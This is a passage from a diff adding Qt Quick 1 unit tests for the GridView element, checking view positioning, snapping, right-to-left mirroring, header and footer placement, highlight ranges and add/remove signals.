+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i/5)*80.);
+ QTRY_COMPARE(item->y(), (i%5)*60.);
+ }
+
+ // Position at End
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::End);
+ QTRY_COMPARE(gridview->contentX(), 320.);
+ QTRY_COMPARE(gridview->contentY(), 0.);
+
+ // Position in Center
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Center);
+ QTRY_COMPARE(gridview->contentX(), 160.);
+
+ // Ensure at least partially visible
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 160.);
+
+ gridview->setContentX(170);
+ gridview->positionViewAtIndex(25, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 170.);
+
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), 320.);
+
+ gridview->setContentX(170);
+ gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentX(), 240.);
+
+ // positionViewAtBeginning
+ gridview->positionViewAtBeginning();
+ QTRY_COMPARE(gridview->contentX(), 0.);
+
+ gridview->setContentX(80);
+ canvas->rootObject()->setProperty("showHeader", true);
+ gridview->positionViewAtBeginning();
+ QTRY_COMPARE(gridview->contentX(), -30.);
+
+ // positionViewAtEnd
+ gridview->positionViewAtEnd();
+ QTRY_COMPARE(gridview->contentX(), 430.);
+
+ gridview->setContentX(80);
+ canvas->rootObject()->setProperty("showFooter", true);
+ gridview->positionViewAtEnd();
+ QTRY_COMPARE(gridview->contentX(), 460.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::snapping()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ gridview->setHeight(220);
+ QCOMPARE(gridview->height(), 220.);
+
+ gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+ QCOMPARE(gridview->contentY(), 80.);
+
+ gridview->setContentY(0);
+ QCOMPARE(gridview->contentY(), 0.);
+
+ gridview->setSnapMode(QDeclarativeGridView::SnapToRow);
+ QCOMPARE(gridview->snapMode(), QDeclarativeGridView::SnapToRow);
+
+ gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+ QCOMPARE(gridview->contentY(), 60.);
+
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::End);
+ QCOMPARE(gridview->contentY(), 120.);
+
+ delete canvas;
+
+}
+
+void tst_QDeclarativeGridView::mirroring()
+{
+ QDeclarativeView *canvasA = createView();
+ canvasA->setSource(QUrl::fromLocalFile(SRCDIR "/data/mirroring.qml"));
+ QDeclarativeGridView *gridviewA = findItem<QDeclarativeGridView>(canvasA->rootObject(), "view");
+ QTRY_VERIFY(gridviewA != 0);
+
+ QDeclarativeView *canvasB = createView();
+ canvasB->setSource(QUrl::fromLocalFile(SRCDIR "/data/mirroring.qml"));
+ QDeclarativeGridView *gridviewB = findItem<QDeclarativeGridView>(canvasB->rootObject(), "view");
+ QTRY_VERIFY(gridviewA != 0);
+ qApp->processEvents();
+
+ QList<QString> objectNames;
+ objectNames << "item1" << "item2"; // << "item3"
+
+ gridviewA->setProperty("layoutDirection", Qt::LeftToRight);
+ gridviewB->setProperty("layoutDirection", Qt::RightToLeft);
+ QCOMPARE(gridviewA->layoutDirection(), gridviewA->effectiveLayoutDirection());
+
+ // LTR != RTL
+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(gridviewA, objectName)->x() != findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ gridviewA->setProperty("layoutDirection", Qt::LeftToRight);
+ gridviewB->setProperty("layoutDirection", Qt::LeftToRight);
+
+ // LTR == LTR
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(gridviewA, objectName)->x(), findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ QVERIFY(gridviewB->layoutDirection() == gridviewB->effectiveLayoutDirection());
+ QDeclarativeItemPrivate::get(gridviewB)->setLayoutMirror(true);
+ QVERIFY(gridviewB->layoutDirection() != gridviewB->effectiveLayoutDirection());
+
+ // LTR != LTR+mirror
+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(gridviewA, objectName)->x() != findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ gridviewA->setProperty("layoutDirection", Qt::RightToLeft);
+
+ // RTL == LTR+mirror
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(gridviewA, objectName)->x(), findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ gridviewB->setProperty("layoutDirection", Qt::RightToLeft);
+
+ // RTL != RTL+mirror
+ foreach(const QString objectName, objectNames)
+ QVERIFY(findItem<QDeclarativeItem>(gridviewA, objectName)->x() != findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ gridviewA->setProperty("layoutDirection", Qt::LeftToRight);
+
+ // LTR == RTL+mirror
+ foreach(const QString objectName, objectNames)
+ QCOMPARE(findItem<QDeclarativeItem>(gridviewA, objectName)->x(), findItem<QDeclarativeItem>(gridviewB, objectName)->x());
+
+ delete canvasA;
+ delete canvasB;
+}
+
+void tst_QDeclarativeGridView::positionViewAtIndex_rightToLeft()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testTopToBottom", QVariant(true));
+ ctxt->setContextProperty("testRightToLeft", QVariant(true));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ }
+
+ // Position on a currently visible item
+ gridview->positionViewAtIndex(6, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->contentX(), -320.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ }
+
+ // Position on an item beyond the visible items
+ gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->contentX(), -560.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ }
+
+ // Position on an item that would leave empty space if positioned at the top
+ gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->contentX(), -639.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ }
+
+ // Position at the beginning again
+ gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->contentX(), -240.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80-item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ }
+
+ // Position at End
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::End);
+ QTRY_COMPARE(gridview->contentX(), -560.);
+
+ // Position in Center
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Center);
+ QTRY_COMPARE(gridview->contentX(), -400.);
+
+ // Ensure at least partially visible
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), -400.);
+
+ gridview->setContentX(-555.);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), -555.);
+
+ gridview->setContentX(-239);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), -320.);
+
+ gridview->setContentX(-239);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), -400.);
+
+ gridview->setContentX(-640);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentX(), -560.);
+
+ // Ensure completely visible
+ gridview->setContentX(-400);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentX(), -400.);
+
+ gridview->setContentX(-315);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentX(), -320.);
+
+ gridview->setContentX(-640);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentX(), -560.);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::resetModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList strings;
+ strings << "one" << "two" << "three";
+ QStringListModel model(strings);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaygrid.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(gridview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(contentItem, "displayText", i);
+ QTRY_VERIFY(display != 0);
+ QTRY_COMPARE(display->text(), strings.at(i));
+ }
+
+ strings.clear();
+ strings << "four" << "five" << "six" << "seven";
+ model.setStringList(strings);
+
+ QTRY_COMPARE(gridview->count(), model.rowCount());
+
+ for (int i = 0; i < model.rowCount(); ++i) {
+ QDeclarativeText *display = findItem<QDeclarativeText>(contentItem, "displayText", i);
+ QTRY_VERIFY(display != 0);
+ QTRY_COMPARE(display->text(), strings.at(i));
+ }
+}
+
+void tst_QDeclarativeGridView::enforceRange()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview-enforcerange.qml"));
+ qApp->processEvents();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QTRY_COMPARE(gridview->preferredHighlightBegin(), 100.0);
+ QTRY_COMPARE(gridview->preferredHighlightEnd(), 100.0);
+ QTRY_COMPARE(gridview->highlightRangeMode(), QDeclarativeGridView::StrictlyEnforceRange);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // view should be positioned at the top of the range.
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(gridview->contentY(), -100.0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ // Check currentIndex is updated when contentItem moves
+ gridview->setContentY(0);
+ QTRY_COMPARE(gridview->currentIndex(), 2);
+
+ gridview->setCurrentIndex(5);
+ QTRY_COMPARE(gridview->contentY(), 100.);
+
+ TestModel model2;
+ for (int i = 0; i < 5; i++)
+ model2.addItem("Item" + QString::number(i), "");
+
+ ctxt->setContextProperty("testModel", &model2);
+ QCOMPARE(gridview->count(), 5);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::enforceRange_rightToLeft()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(true));
+ ctxt->setContextProperty("testTopToBottom", QVariant(true));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview-enforcerange.qml"));
+ qApp->processEvents();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QTRY_COMPARE(gridview->preferredHighlightBegin(), 100.0);
+ QTRY_COMPARE(gridview->preferredHighlightEnd(), 100.0);
+ QTRY_COMPARE(gridview->highlightRangeMode(), QDeclarativeGridView::StrictlyEnforceRange);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // view should be positioned at the top of the range.
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(gridview->contentX(), -100.);
+ QTRY_COMPARE(gridview->contentY(), 0.0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ // Check currentIndex is updated when contentItem moves
+ gridview->setContentX(-200);
+ QTRY_COMPARE(gridview->currentIndex(), 3);
+
+ gridview->setCurrentIndex(7);
+ QTRY_COMPARE(gridview->contentX(), -300.);
+ QTRY_COMPARE(gridview->contentY(), 0.0);
+
+ TestModel model2;
+ for (int i = 0; i < 5; i++)
+ model2.addItem("Item" + QString::number(i), "");
+
+ ctxt->setContextProperty("testModel", &model2);
+ QCOMPARE(gridview->count(), 5);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::QTBUG_8456()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/setindex.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QTRY_COMPARE(gridview->currentIndex(), 0);
+}
+
+void tst_QDeclarativeGridView::manualHighlight()
+{
+ QDeclarativeView *canvas = createView();
+
+ QString filename(SRCDIR "/data/manual-highlight.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(gridview->currentIndex(), 0);
+ QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+ QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+ QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+
+ gridview->setCurrentIndex(2);
+
+ QTRY_COMPARE(gridview->currentIndex(), 2);
+ QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
+ QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+ QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+
+ gridview->positionViewAtIndex(8, QDeclarativeGridView::Contain);
+
+ QTRY_COMPARE(gridview->currentIndex(), 2);
+ QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
+ QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+ QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+
+ gridview->setFlow(QDeclarativeGridView::TopToBottom);
+ QTRY_COMPARE(gridview->flow(), QDeclarativeGridView::TopToBottom);
+
+ gridview->setCurrentIndex(0);
+ QTRY_COMPARE(gridview->currentIndex(), 0);
+ QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+ QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+ QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+}
+
+void tst_QDeclarativeGridView::footer()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 7; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/footer.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeText *footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(footer);
+
+ QCOMPARE(footer->y(), 180.0);
+ QCOMPARE(footer->height(), 30.0);
+
+ model.removeItem(2);
+ QTRY_COMPARE(footer->y(), 120.0);
+
+ model.clear();
+ QTRY_COMPARE(footer->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+ footer = findItem<QDeclarativeText>(contentItem, "footer");
+ QVERIFY(!footer);
+ footer = findItem<QDeclarativeText>(contentItem, "footer2");
+ QVERIFY(footer);
+
+ QCOMPARE(footer->y(), 600.0);
+ QCOMPARE(footer->height(), 20.0);
+ QCOMPARE(gridview->contentY(), 0.0);
+}
+
+void tst_QDeclarativeGridView::header()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QDeclarativeText *header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(header);
+
+ QCOMPARE(header->y(), 0.0);
+ QCOMPARE(header->height(), 30.0);
+ QCOMPARE(gridview->contentY(), 0.0);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->y(), 30.0);
+
+ model.clear();
+ QTRY_COMPARE(header->y(), 0.0);
+
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+ header = findItem<QDeclarativeText>(contentItem, "header");
+ QVERIFY(!header);
+ header = findItem<QDeclarativeText>(contentItem, "header2");
+ QVERIFY(header);
+
+ QCOMPARE(header->y(), 10.0);
+ QCOMPARE(header->height(), 20.0);
+ QCOMPARE(gridview->contentY(), 10.0);
+}
+
+void tst_QDeclarativeGridView::indexAt()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+ model.addItem("Billy", "22345");
+ model.addItem("Sam", "2945");
+ model.addItem("Ben", "04321");
+ model.addItem("Jim", "0780");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QTRY_COMPARE(gridview->count(), model.count());
+
+ QCOMPARE(gridview->indexAt(0, 0), 0);
+ QCOMPARE(gridview->indexAt(79, 59), 0);
+ QCOMPARE(gridview->indexAt(80, 0), 1);
+ QCOMPARE(gridview->indexAt(0, 60), 3);
+ QCOMPARE(gridview->indexAt(240, 0), -1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::onAdd()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, itemsToAdd);
+
+ const int delegateWidth = 50;
+ const int delegateHeight = 100;
+ TestModel model;
+ QDeclarativeView *canvas = createView();
+ canvas->setFixedSize(5 * delegateWidth, 5 * delegateHeight); // just ensure all items fit
+
+ // these initial items should not trigger GridView.onAdd
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem("dummy value", "dummy value");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateWidth", delegateWidth);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+ QObject *object = canvas->rootObject();
+ object->setProperty("width", canvas->width());
+ object->setProperty("height", canvas->height());
+ qApp->processEvents();
+
+ QList<QPair<QString, QString> > items;
+ for (int i=0; i<itemsToAdd; i++)
+ items << qMakePair(QString("value %1").arg(i), QString::number(i));
+ model.addItems(items);
+
+ qApp->processEvents();
+
+ QVariantList result = object->property("addedDelegates").toList();
+ QCOMPARE(result.count(), items.count());
+ for (int i=0; i<items.count(); i++)
+ QCOMPARE(result[i].toString(), items[i].first);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::onAdd_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("itemsToAdd");
+
+ QTest::newRow("0, add 1") << 0 << 1;
+ QTest::newRow("0, add 2") << 0 << 2;
+ QTest::newRow("0, add 10") << 0 << 10;
+
+ QTest::newRow("1, add 1") << 1 << 1;
+ QTest::newRow("1, add 2") << 1 << 2;
+ QTest::newRow("1, add 10") << 1 << 10;
+
+ QTest::newRow("5, add 1") << 5 << 1;
+ QTest::newRow("5, add 2") << 5 << 2;
+ QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeGridView::onRemove()
+{
+ QFETCH(int, initialItemCount);
+ QFETCH(int, indexToRemove);
+ QFETCH(int, removeCount);
+
+ const int delegateWidth = 50;
+ const int delegateHeight = 100;
+ TestModel model;
+ for (int i=0; i<initialItemCount; i++)
+ model.addItem(QString("value %1").arg(i), "dummy value");
+
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("delegateWidth", delegateWidth);
+ ctxt->setContextProperty("delegateHeight", delegateHeight);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+ QObject *object = canvas->rootObject();
+
+ qApp->processEvents();
+
+ model.removeItems(indexToRemove, removeCount);
+ qApp->processEvents();
+ QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::onRemove_data()
+{
+ QTest::addColumn<int>("initialItemCount");
+ QTest::addColumn<int>("indexToRemove");
+ QTest::addColumn<int>("removeCount");
+
+ QTest::newRow("remove first") << 1 << 0 << 1;
+ QTest::newRow("two items, remove first") << 2 << 0 << 1;
+ QTest::newRow("two items, remove last") << 2 << 1 << 1;
+ QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+ QTest::newRow("four items, remove first") << 4 << 0 << 1;
+ QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+ QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+ QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+ QTest::newRow("four items, remove last") << 4 << 3 << 1;
+ QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+ QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+ QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+ QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+ << "";
+
+ QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+ << "";
+}
+
+void tst_QDeclarativeGridView::contentPosJump()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 100; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QVERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ // Test jumping more than a page of items.
+ gridview->setContentY(500);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
